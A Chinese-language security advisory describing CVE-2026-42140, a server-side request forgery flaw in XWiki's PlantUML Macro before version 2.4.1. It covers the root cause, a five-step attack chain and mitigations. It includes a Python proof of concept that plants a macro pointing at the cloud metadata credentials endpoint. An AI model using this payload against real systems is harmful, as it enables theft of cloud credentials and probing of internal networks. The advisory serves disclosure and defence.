IPBUF安全漏洞报告
English
CVE-2026-42140 CVSS 4.4 中危

CVE-2026-42140 PlantUML Macro服务端请求伪造漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-42140
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
4.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
XWiki PlantUML Macro

相关标签

SSRFXWikiPlantUML服务端请求伪造中危

漏洞概述

XWiki的PlantUML Macro插件在2.4.1版本之前存在服务端请求伪造(SSRF)漏洞。该宏允许用户通过server参数指定用于渲染图表的备用PlantUML服务器,但应用程序未对提供的URL进行有效验证。攻击者可利用此漏洞提供内网IP地址或恶意的外部URL。XWiki服务器在尝试连接该URL以渲染图表时,将执行攻击者发起的请求,从而导致敏感信息泄露或内网探测风险。该问题已在2.4.1版本中得到修复。

技术细节

该漏洞的根本原因在于PlantUML Macro组件缺乏对用户输入参数`server`的严格校验机制。在正常业务逻辑中,用户可以自定义渲染服务器以提升访问速度或兼容性。但在受影响版本中,系统直接将用户传入的URL参数用于构建后端HTTP请求,未检查该URL是否指向内网地址(如127.0.0.1、169.254.169.254)或受限资源。利用方式上,攻击者无需高权限,仅需低权限账号即可触发。通过构造特定的请求,将`server`参数设置为内网敏感服务的地址(如元数据服务、数据库端口、管理后台等),XWiki服务器会作为代理向目标发起连接。由于请求源自服务器本地,往往能绕过防火墙的外部访问限制。结合CVSS向量中的S:C(Scope Changed),这可能进一步导致对内网其他服务的攻击。虽然需要用户交互(UI:R),但这可能通过诱导点击包含恶意宏的页面实现。

攻击链分析

STEP 1
侦察
攻击者识别出目标XWiki实例正在使用PlantUML Macro,且版本低于2.4.1。
STEP 2
访问与交互
攻击者使用低权限账号登录XWiki,并诱导管理员或其他用户访问包含恶意宏的页面,或者直接自己创建页面进行交互。
STEP 3
漏洞利用
攻击者在页面中插入PlantUML宏,并将`server`参数设置为内网敏感地址(如127.0.0.1或云元数据服务)。
STEP 4
执行请求
XWiki服务器解析该宏时,尝试连接攻击者指定的内部URL以获取图表定义,从而触发SSRF。
STEP 5
数据泄露
内网服务的响应(如敏感配置信息)被XWiki服务器接收,可能通过错误信息或响应时间差被攻击者获取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target XWiki instance URL target_url = "http://vulnerable-xwiki-instance/xwiki/bin/view/Main/WebHome" # Internal IP address to scan (e.g., AWS metadata service) internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # The payload exploiting the 'server' parameter in PlantUML Macro # Syntax depends on how the macro is invoked (e.g., in wiki content) payload_content = "{{plantuml server='{}'}}\n@startuml\nBob -> Alice : SSRF Test\n@enduml".format(internal_target) # Data to simulate editing or creating a page with the malicious macro # Note: Actual API endpoints may vary based on XWiki configuration data = { "form_token": "<valid_token_if_needed>", "content": payload_content, "title": "SSRF_PoC_Page" } try: # Sending the request to create/update the page response = requests.post(target_url, data=data) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check the server logs or the rendered page for SSRF indicators.") print("[+] If the internal service is accessible, sensitive data might be leaked in the diagram rendering process.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

XWiki PlantUML Macro < 2.4.1

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用PlantUML Macro插件或撤销普通用户编辑包含该宏页面的权限。管理员应配置防火墙规则,阻止XWiki服务器对非业务必要的外部网络及内网敏感网段(如127.0.0.0/8, 169.254.0.0/16)的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表